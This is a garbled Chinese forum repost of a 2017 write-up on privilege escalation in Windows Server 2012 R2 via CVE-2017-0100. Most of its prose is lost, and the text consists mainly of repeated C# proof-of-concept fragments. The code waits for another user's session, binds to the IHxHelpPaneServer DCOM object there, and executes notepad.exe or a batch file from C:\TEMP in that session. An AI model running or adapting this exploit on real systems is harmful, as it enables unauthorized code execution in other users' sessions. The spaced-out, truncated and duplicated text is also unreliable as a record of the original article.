[11243] 2017-04-16_WindowsServer2012R2的提权过程解析

文档创建者:s7ckTeam
浏览次数:5
最后更新:2025-01-18
2017-04-16_WindowsServer2012R2的提权过程解析 W i n d o w s   S e r v e r   2 0 1 2   R 2 A l p h a _ h 4 c k   F r e e B u f   2 0 1 7 - 0 4 - 1 6 W i n d o w s   S e r v e r 2 0 1 2   R 2 使 使 M i m i k a t z W i n d o w s C h r i s   M y e r s C V E - 2 0 1 7 - 0 1 0 0 线 西 p a y l o a d
P o C J a m e s   F o r s h a w P o C 使 D C O M   A c t i v a t o r P o C 1 p a y l o a d p a y l o a d C o n s o l e . W r i t e L i n e ( " C r e a t i n g   P r o c e s s   i n S e s s i o n   { 0 } a f t e r   2 0 s e c s " ,   n e w _ s e s s i o n _ i d ) ;   T h r e a d . S l e e p ( 2 0 0 0 0 ) ;   I H x H e l p P a n e S e r v e r   s e r v e r = ( I H x H e l p P a n e S e r v e r ) M a r s h a l . B i n d T o M o n i k e r ( S t r i n g . F o r m a t ( " s e s s i o n : { 0 } ! n e w : 8 c e c 5 8 a e - 0 7 a 1 - 1 1 d 9 - b 1 5 e - 0 0 0 d 5 6 b f e 6 e e " , n e w _ s e s s i o n _ i d ) ) ;   U r i   t a r g e t   = n e w U r i ( P a t h . C o m b i n e ( E n v i r o n m e n t . G e t F o l d e r P a t h ( E n v i r o n m e n t . S p e c i a l F o l d e r . S y s t e m ) , " n o t e p a d . e x e " ) ) ;   s e r v e r . E x e c u t e ( t a r g e t . A b s o l u t e U r i ) ; C a s e y   S m i t h p a y l o a d : R e g s v r 3 2 . e x e I H x H e l p P a n e S e r v e r . b a t 访 C : T E M P C o n s o l e . W r i t e L i n e ( " C r e a t i n g   P r o c e s s   i n S e s s i o n   { 0 } a f t e r   2 0 s e c s " ,   n e w _ s e s s i o n _ i d ) ;   T h r e a d . S l e e p ( 2 0 0 0 0 ) ;   I H x H e l p P a n e S e r v e r   s e r v e r = ( I H x H e l p P a n e S e r v e r ) M a r s h a l . B i n d T o M o n i k e r ( S t r i n g . F o r m a t ( " s e s s i o n : { 0 } ! n e w : 8 c e c 5 8 a e - 0 7 a 1 - 1 1 d 9 - b 1 5 e - 0 0 0 d 5 6 b f e 6 e e " , n e w _ s e s s i o n _ i d ) ) ;   U r i   t a r g e t   =   n e w U r i ( " C : T E M P t e s t i n g . b a t " ) ;   s e r v e r . E x e c u t e ( t a r g e t . A b s o l u t e U r i ) ; 2 P o C I D P o C t r y  
{         i n t   c u r r e n t _ s e s s i o n _ i d =   P r o c e s s . G e t C u r r e n t P r o c e s s ( ) . S e s s i o n I d ;         i n t   n e w _ s e s s i o n _ i d =   0 ;       C o n s o l e . W r i t e L i n e ( " W a i t i n g   F o r   a   T a r g e t   S e s s i o n " ) ;         w h i l e   ( t r u e )           {               I E n u m e r a b l e < i n t >   s e s s i o n s   =   G e t S e s s i o n I d s ( ) . W h e r e ( i d   = >   i d ! = c u r r e n t _ s e s s i o n _ i d ) ;                 i f   ( s e s s i o n s . C o u n t ( )   >   0 )                 {                       n e w _ s e s s i o n _ i d   =   s e s s i o n s . F i r s t ( ) ;                         b r e a k ;                 }               T h r e a d . S l e e p ( 1 0 0 0 ) ;           }   } I E n u m e r a b l e s e s s i o n s p a y l o a d t r y  
{         i n t c u r r e n t _ s e s s i o n _ i d   =   P r o c e s s . G e t C u r r e n t P r o c e s s ( ) . S e s s i o n I d ;         i n t   n e w _ s e s s i o n _ i d =   0 ;       C o n s o l e . W r i t e L i n e ( " W a i t i n g   F o r   a   T a r g e t   S e s s i o n " ) ;         w h i l e   ( t r u e )           {               I E n u m e r a b l e < i n t >   s e s s i o n s   =   G e t S e s s i o n I d s ( ) . W h e r e ( i d   = >   i d ! = c u r r e n t _ s e s s i o n _ i d ) ;                 i f ( s e s s i o n s . C o u n t ( )   >   0 )                 {                         R a n d o m   r n d =   n e w   R a n d o m ( ) ;                         i n t   r   =   r n d . N e x t ( s e s s i o n s . C o u n t ( ) ) ;                       n e w _ s e s s i o n _ i d   =   s e s s i o n s . E l e m e n t A t ( r ) ;                         b r e a k ;                 }               T h r e a d . S l e e p ( 1 0 0 0 ) ;           }   } 3 便 退 I H x H e l p P a n e S e r v e r w h i l e
t r y   {         i n t c u r r e n t _ s e s s i o n _ i d   =   P r o c e s s . G e t C u r r e n t P r o c e s s ( ) . S e s s i o n I d ;         i n t   n e w _ s e s s i o n _ i d =   0 ;       C o n s o l e . W r i t e L i n e ( " W a i t i n g   F o r   a   T a r g e t   S e s s i o n " ) ;         w h i l e   ( t r u e )           {               I E n u m e r a b l e < i n t >   s e s s i o n s   =   G e t S e s s i o n I d s ( ) . W h e r e ( i d   = >   i d ! = c u r r e n t _ s e s s i o n _ i d ) ;                 i f ( s e s s i o n s . C o u n t ( )   >   0 )                 {                       n e w _ s e s s i o n _ i d   =   s e s s i o n s . F i r s t ( ) ;                         b r e a k ;                 }               T h r e a d . S l e e p ( 1 0 0 0 ) ;           }           C o n s o l e . W r i t e L i n e ( " C r e a t i n g   P r o c e s s   i n   S e s s i o n   { 0 } a f t e r 2 0 s e c s " ,   n e w _ s e s s i o n _ i d ) ;       T h r e a d . S l e e p ( 2 0 0 0 0 ) ;  
      I H x H e l p P a n e S e r v e r s e r v e r   = ( I H x H e l p P a n e S e r v e r ) M a r s h a l . B i n d T o M o n i k e r ( S t r i n g . F o r m a t ( " s e s s i o n : { 0 } ! n e w : 8 c e c 5 8 a e - 0 7 a 1 - 1 1 d 9 - b 1 5 e - 0 0 0 d 5 6 b f e 6 e e " , n e w _ s e s s i o n _ i d ) ) ;         U r i   t a r g e t   = n e w U r i ( P a t h . C o m b i n e ( E n v i r o n m e n t . G e t F o l d e r P a t h ( E n v i r o n m e n t . S p e c i a l F o l d e r . S y s t e m ) , " n o t e p a d . e x e " ) ) ;         s e r v e r . E x e c u t e ( t a r g e t . A b s o l u t e U r i ) ;   }   c a t c h   ( E x c e p t i o n   e x )   {       C o n s o l e . W r i t e L i n e ( e x ) ;   } t r y   {         i n t c u r r e n t _ s e s s i o n _ i d   =   P r o c e s s . G e t C u r r e n t P r o c e s s ( ) . S e s s i o n I d ;         i n t   n e w _ s e s s i o n _ i d =   0 ;       C o n s o l e . W r i t e L i n e ( " W a i t i n g   F o r   a   T a r g e t   S e s s i o n " ) ;         w h i l e   ( t r u e )           {               I E n u m e r a b l e < i n t >   s e s s i o n s   =   G e t S e s s i o n I d s ( ) . W h e r e ( i d   = >   i d ! = c u r r e n t _ s e s s i o n _ i d ) ;                 i f ( s e s s i o n s . C o u n t ( )   >   0 )                 {
                        R a n d o m   r n d =   n e w   R a n d o m ( ) ;                           i n t   r   = r n d . N e x t ( s e s s i o n s . C o u n t ( ) ) ;                       n e w _ s e s s i o n _ i d   =   s e s s i o n s . E l e m e n t A t ( r ) ;                       C o n s o l e . W r i t e L i n e ( " C r e a t i n g   P r o c e s s   i n   S e s s i o n   { 0 } a f t e r 2 0 s e c s " ,   n e w _ s e s s i o n _ i d ) ;                       T h r e a d . S l e e p ( 2 0 0 0 0 ) ;                       I H x H e l p P a n e S e r v e r   s e r v e r   = ( I H x H e l p P a n e S e r v e r ) M a r s h a l . B i n d T o M o n i k e r ( S t r i n g . F o r m a t ( " s e s s i o n : { 0 } ! n e w : 8 c e c 5 8 a e - 0 7 a 1 - 1 1 d 9 - b 1 5 e - 0 0 0 d 5 6 b f e 6 e e " , n e w _ s e s s i o n _ i d ) ) ;                         U r i   t a r g e t =   n e w   U r i ( " C : T E M P t e s t i n g . b a t " ) ;                       s e r v e r . E x e c u t e ( t a r g e t . A b s o l u t e U r i ) ;                 }             T h r e a d . S l e e p ( 6 0 0 0 0 ) ;           }       }   c a t c h   ( E x c e p t i o n   e x )   {       C o n s o l e . W r i t e L i n e ( e x ) ;   } J a m e s F o r s h a w P o C W i n d o w s S e r v e r   2 0 1 2   R 2
s h e l l *   i n s p i r e d - s e c   F B A l p h a _ h 4 c k F r e e B u f . C O M
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则